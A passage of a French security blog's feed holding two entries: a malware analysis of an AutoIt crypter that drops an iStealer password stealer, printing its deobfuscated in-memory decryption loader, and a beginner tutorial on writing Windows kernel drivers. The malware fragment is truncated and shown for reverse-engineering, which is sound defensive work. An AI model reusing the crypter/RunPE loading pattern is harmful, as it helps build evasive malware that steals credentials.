Après un petit coup d'oeil avec IDA, on se rend compte que le machin a été écrit en AutoIT (lol), so on télécharge &lt;a href="http://www.nerdbucket.com/mirrors/myAutToExe2_00_Alpha_AutoIt3_Decompiler_opensource.zip"&gt;myAutToExe&lt;/a&gt; pour récupérer le code de l'exécutable, code qui possède une obfuscation assez lame (gros blocs de variables useless en plein milieu du code). On va donc nettoyer le code (la partie ennuyeuse du truc).&lt;/p&gt;
</summary><content type="html">&lt;p&gt;Ce matin, en naviguant sur HackerzVoice, j'ai l'agréable surprise de tomber sur ce magnifique post (qui a été supprimé depuis):
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/skidmalware/RYJz0.png"&gt;&lt;img src="/media/skidmalware/RYJz0.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Bref, on se rend bien compte que ce genre de trucs seem legit, du coup let's reverse it ;).&lt;br/&gt;
Après un petit coup d'oeil avec IDA, on se rend compte que le machin a été écrit en AutoIT (lol), so on télécharge &lt;a href="http://www.nerdbucket.com/mirrors/myAutToExe2_00_Alpha_AutoIt3_Decompiler_opensource.zip"&gt;myAutToExe&lt;/a&gt; pour récupérer le code de l'exécutable, code qui possède une obfuscation assez lame (gros blocs de variables useless en plein milieu du code). On va donc nettoyer le code (la partie ennuyeuse du truc).&lt;/p&gt;


&lt;p&gt;Bref pour les fainéants, je paste le code nettoyé, dispo &lt;a href="http://repo.aassfxxx.infos.st/misc/malware/wtf.au3"&gt;ici&lt;/a&gt;, même si les vars au début (essentielles pour le fonctionnement du malware) sont fucked.&lt;br/&gt;
On remarque dans le code une fonction de cryptoshit, ainsi qu'une fonction pour faire du RunPE (smells "crypter"), ainsi qu'un auto-spread USB lame (recherche de clés branchées, et si c'est le cas, on se fout dessus + mise en place d'un autorun), ainsi qu'un downloader (mais ici, seul le RunPE a été activé).&lt;/p&gt;
&lt;p&gt;On va donc reverse la fonction de crypto qui va balancer en mémoire un exécutable que va utiliser le RunPE (avec des trucs comme &lt;code&gt;RunPE(@SCRIPTFULLPATH, BINARYTOSTRING(Cryptoshit($A6224827073, $F1367462515)))&lt;/code&gt; ). So, regardons la fonc renommée Cryptoshit (ici j'ai tronqué la variable $Z4515791355 pour pas tout défoncer).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;FUNC&lt;/span&gt; &lt;span class="n"&gt;Cryptoshit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$G9095260435&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$Key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="nb"&gt;LOCAL&lt;/span&gt; &lt;span class="nv"&gt;$Z4515791355&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;0xC81001006A006A...C21000&amp;quot;&lt;/span&gt;
   &lt;span class="nb"&gt;LOCAL&lt;/span&gt; &lt;span class="nv"&gt;$Z3667942907&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;DLLSTRUCTCREATE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;byte[&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="nf"&gt;BINARYLEN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$Z4515791355&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;]&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="nf"&gt;DLLSTRUCTSETDATA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$Z3667942907&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$Z4515791355&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="nb"&gt;LOCAL&lt;/span&gt; &lt;span class="nv"&gt;$T2523372670&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;DLLSTRUCTCREATE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;byte[&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="nf"&gt;BINARYLEN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$G9095260435&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;]&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="nf"&gt;DLLSTRUCTSETDATA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$T2523372670&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$G9095260435&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="nf"&gt;DLLCALL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;BINARYTOSTRING&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0x7573657233322E646C6C&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;none&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;BINARYTOSTRING&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0x43616C6C57696E646F7750726F63&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;ptr&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;DLLSTRUCTGETPTR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$Z3667942907&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;ptr&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;DLLSTRUCTGETPTR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$T2523372670&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;int&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;BINARYLEN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$G9095260435&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;str&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$Key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;int&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="nb"&gt;LOCAL&lt;/span&gt; &lt;span class="nv"&gt;$R4297508756&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;DLLSTRUCTGETDATA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$T2523372670&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="nv"&gt;$T2523372670&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
   &lt;span class="nv"&gt;$Z3667942907&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
   &lt;span class="nb"&gt;RETURN&lt;/span&gt; &lt;span class="nv"&gt;$R4297508756&lt;/span&gt;
&lt;span class="nb"&gt;ENDFUNC&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On remarque ici que la fonction va appeler la fonction CallWindowProc avec pour fonction les grosses vars du début (celles qui ont été pétées par le disass). So, on va sortir OllyDBG, mettre un bp sur CallWindowProcA et CallWindowProcW pour retomber sur la fonction de déchiffrage ;)
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/skidmalware/rP40a.png"&gt;&lt;img src="/media/skidmalware/rP40a.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Du coup on break sur la "WndProc", située en 020E2680, et après tout un tas de routines qui retrouvent les données chiffrées, on retrouve la fonction de chiffrage:&lt;/p&gt;
&lt;p&gt;&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/skidmalware/rA0Jo.png"&gt;&lt;img src="/media/skidmalware/rA0Jo.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Ici, on voit un xor sur une donnée contenue dans ESI, chargé depuis [EBP+8] qui vaut 028B5FF0. En breakant sur "pop edi", on a bien l'exe déchiffré qui débute en 028B5FF0 et qui a une taille de 0x55000 octets. Il ne nous reste plus qu'à dump le tout et extraire le PE.&lt;/p&gt;
&lt;p&gt;Le PE extrait est juste un sample de iStealer (lol again), et on récupère l'adresse du panel facilement avec mon extracteur de panel istealer (downloadeable &lt;a href="http://repo.aassfxxx.infos.st/misc/pwnz-istealer.c"&gt;ici&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="http://repo.aassfxxx.infos.st/img/N-PN/25676031.jpg"&gt;&lt;img src="http://repo.aassfxxx.infos.st/img/N-PN/25676031.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;</content><category term="Reverse-engineering"/></entry><entry><title>First steps in ring0</title><link href="/first-steps-in-ring0.html" rel="alternate"/><published>2012-07-15T10:51:00+02:00</published><updated>2012-07-15T10:51:00+02:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2012-07-15:/first-steps-in-ring0.html</id><summary type="html">&lt;p&gt;Ceux qui me croisent sur IRC savent que je commence à me mettre (timidement) à la programmation ring0 sous Windows (the real life, je jouerai avec le kernel linux un peu plus tard peut-être, quand je serai réapprovisionné en chocapicz).&lt;br/&gt;
Cet article se veut être une initiation au monde merveilleux qu'est le noyau Windows et ses drivers, monde merveilleux où un BSOD arrive très vite cependant.&lt;/p&gt;
&lt;p&gt;Devant l'enthousiasme général, je vous propose donc de me suivre dans cette longue quête du Graal.&lt;/p&gt;
</summary><content type="html">&lt;p&gt;Ceux qui me croisent sur IRC savent que je commence à me mettre (timidement) à la programmation ring0 sous Windows (the real life, je jouerai avec le kernel linux un peu plus tard peut-être, quand je serai réapprovisionné en chocapicz).&lt;br/&gt;
Cet article se veut être une initiation au monde merveilleux qu'est le noyau Windows et ses drivers, monde merveilleux où un BSOD arrive très vite cependant.&lt;/p&gt;
&lt;p&gt;Devant l'enthousiasme général, je vous propose donc de me suivre dans cette longue quête du Graal.&lt;/p&gt;


&lt;h2&gt;Préparation de l'environnement: the h4x0r way&lt;/h2&gt;
&lt;p&gt;Pour explorer le monde du noyau, une petite préparation s'impose. En effet, la programmation de driver diffère de la programmation d'un programme Windows classique, puisque le driver est chargé par le noyau, et donc il est plus difficile d'y accéder pour le déboguer. De plus, nos chères APIs Windows ne sont d'aucune utilité ici, et il nous faudra passer par les fonctions du noyau pour arriver à nos fins (plus ou moins documentées). Pour le développement de drivers, &lt;span style="color: red"&gt;&lt;strong&gt;je vous recommande fortement de le faire depuis une machine virtuelle&lt;/strong&gt;&lt;/span&gt; (ou depuis un PC "sacrifié"), un BSOD étant très vite arrivé.&lt;/p&gt;
&lt;p&gt;Il nous faudra dans un premier temps installer un compilateur C (si ceci n'a pas déjà été fait). Que les libristes ou les réfractaires de Visual Studio se rassurent, il est tout à fait possible de compiler un driver avec MinGW, qui installe nativement les en-têtes nécessaires (et Code::Blocks, ce que je montrerai dans l'article). Si vous voulez malgré tout utiliser le compilateur MSVC, je vous laisse stfw pour la procédure d'installation du DDK.&lt;/p&gt;
&lt;p&gt;Code::Blocks propose par ailleurs un modèle "Windows Driver" dont il serait bête de se priver. &lt;strong&gt;Il faudra juste veiller à rajouter le dossier "include\ddk" du répertoire d'installation de MinGW aux répertoires d'include pour que la compilation réussisse sans problème.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Avant de continuer, il nous faut aussi deux éléments indispensable: DebugView, qui permet d'afficher les messages de débogage du noyau (via la fonction DbgPrint), qui sera notre seul moyen de vérifier que tout fonctionne bien pour le moment ; ainsi que InstDrv, qui va permettre de charger notre driver. InstDrv est téléchargeable &lt;a href="http://www.2shared.com/file/n6M14F19/InstDvr.html"&gt;ici&lt;/a&gt;, et DebugView est disponible &lt;a href="http://technet.microsoft.com/en-us/sysinternals/bb896647.aspx"&gt;ici&lt;/a&gt;. Il faudra évidemment veiller à lancer DebugView avant de charger le driver avec InstDrv pour voir les messages (et afficher les messages du noyau, en cochant le menu "Capture -&amp;gt; Capture kernel", ainsi que "Catpure -&amp;gt; Enable Verbose Kernel Output").&lt;/p&gt;
&lt;p&gt;Une fois ceci fait, nous voilà prêt pour créer notre premier driver !&lt;/p&gt;
&lt;h2&gt;Your first driver !&lt;/h2&gt;
&lt;p&gt;Il ne vous reste plus qu'à créer un nouveau projet du type "Kernel mode driver" sous Code::Blocks (et stfw si vous utilisez autre chose :þ). Cela nous crée un fichier driver.c qui contient:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;
&lt;span class="n"&gt;STDCALL&lt;/span&gt;
&lt;span class="n"&gt;DriverDispatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PDEVICE_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DeviceObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="n"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PIRP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_SUCCESS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;VOID&lt;/span&gt;
&lt;span class="n"&gt;STDCALL&lt;/span&gt;
&lt;span class="n"&gt;DriverUnload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PDRIVER_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DriverObject&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;DriverUnload() !&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;
&lt;span class="n"&gt;STDCALL&lt;/span&gt;
&lt;span class="n"&gt;DriverEntry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PDRIVER_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DriverObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PUNICODE_STRING&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RegistryPath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;DriverEntry() !&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DriverObject&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;DriverUnload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DriverUnload&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_SUCCESS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;La fonction principale est DriverEntry, comme on peut s'y attendre ; et je vous laisse demander à votre petite soeur ce que fait DriverUnload. La fonction DriverDispatch semble, elle plus bizarre. Cette fonction servira à gérer les IRP (je reviendrai sur ce point), mais n'est pas d'une grande utilité pour le moment.&lt;/p&gt;
&lt;p&gt;Pour le moment contentons-nous de charger le driver avec InstDrv (normalement votre grand-mère devrait pouvoir le faire), et admirer le "DriverEntry() !" qui s'affiche dans DebugView (qu'il faut lancer avant de démarrer le driver).
En cliquant sur le bouton "Stop" de InstDrv, on doit voir apparaître "DriverUnload() !" apparaître (si c'est pas le cas, vous pouvez toujours vous reconvertir dans l'élevage de chèvres).&lt;/p&gt;
&lt;p&gt;On ne va pas s'arrêter en si bon chemin, et on va découvrir comment sortir notre driver de son autisme, et comment lui permettre de communiquer avec le monde utilisateur que nous connaissons bien, nous, humains.&lt;/p&gt;
&lt;h2&gt;Une histoire de devices et d'IRP&lt;/h2&gt;
&lt;p&gt;Notre driver est pour le moment un pauvre autiste, incapable de communiquer avec le monde extérieur. Un moyen assez simple de lui permettre de communiquer vers l'extérieur est de créer un "device" (du point de vue du kernel, ne rêvez pas, une imprimante 3D ne va pas se matérialiser subitement) qui sera accessible depuis l'userland (chez Mme Michu) via la fonction CreateFile. Une fois le "fichier" créé (point commun avec les systèmes UNIX-like, un device est un fichier), on peut soit lui envoyer des IOCTL, soit utiliser les fonctions ReadFile et WriteFile ; ces deux méthodes envoyant des IRP à notre driver, qu'il devra rattraper et traiter.&lt;/p&gt;
&lt;p&gt;Une IRP est en réalité une structure qui "représente" une opération d'entrée/sortie sur le driver. Ainsi toutes les opérations de lecture ou d'écriture sont des IRP du point de vue du driver. Heureusement pour nous, Windows propose un moyen de filtrer les IRP, et de définir des fonctions "handler" permettant de traiter ces IRP (du même prototype que DriverDispatch).&lt;/p&gt;
&lt;p&gt;Du point de vue programmation, on crée un device via la fonction &lt;a href="http://msdn.microsoft.com/en-us/library/windows/hardware/ff548397%28v=vs.85%29.aspx"&gt;IoCreateDevice&lt;/a&gt;, avec le code suivant qu'on placera dans DriverEntry, puis on crée un lien symbolique vers DosDevices pour rendre notre device accessible depuis l'userland (via \.\NomDuDevice):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ntStatus&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WCHAR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;driverName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;Device&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;T4pZ&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WCHAR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;symlinkName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;DosDevices&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;T4pZ&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="n"&gt;UNICODE_STRING&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unicodeDriverName&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;UNICODE_STRING&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unicodeSymlink&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="n"&gt;RtlInitUnicodeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;unicodeDriverName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;driverName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;RtlInitUnicodeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;unicodeSymlink&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;symlinkName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="n"&gt;ntStatus&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoCreateDevice&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DriverObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;unicodeDriverName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FILE_DEVICE_UNKNOWN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;mydevice&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;mydevice&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DO_BUFFERED_IO&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NT_SUCCESS&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ntStatus&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;THE GAME BITCHZ&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;IoCreateSymbolicLink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;unicodeSymlink&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;unicodeDriverName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Il ne faudra pas oublier de rajouter &lt;code&gt;PDEVICE_OBJECT mydevice;&lt;/code&gt; en variable globale, afin de pouvoir utiliser IoDeleteDevice dans la fonction DriverUnload (sous peine de devoir rebooter la machine ou de changer le nom du device ensuite). On a donc pour le moment ce code de driver, qui crée un device, mais qui ne fait rien pour le moment:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;ntddk.h&amp;gt;&lt;/span&gt;

&lt;span class="n"&gt;PDEVICE_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mydevice&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;
&lt;span class="n"&gt;STDCALL&lt;/span&gt;
&lt;span class="n"&gt;DriverDispatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PDEVICE_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DeviceObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
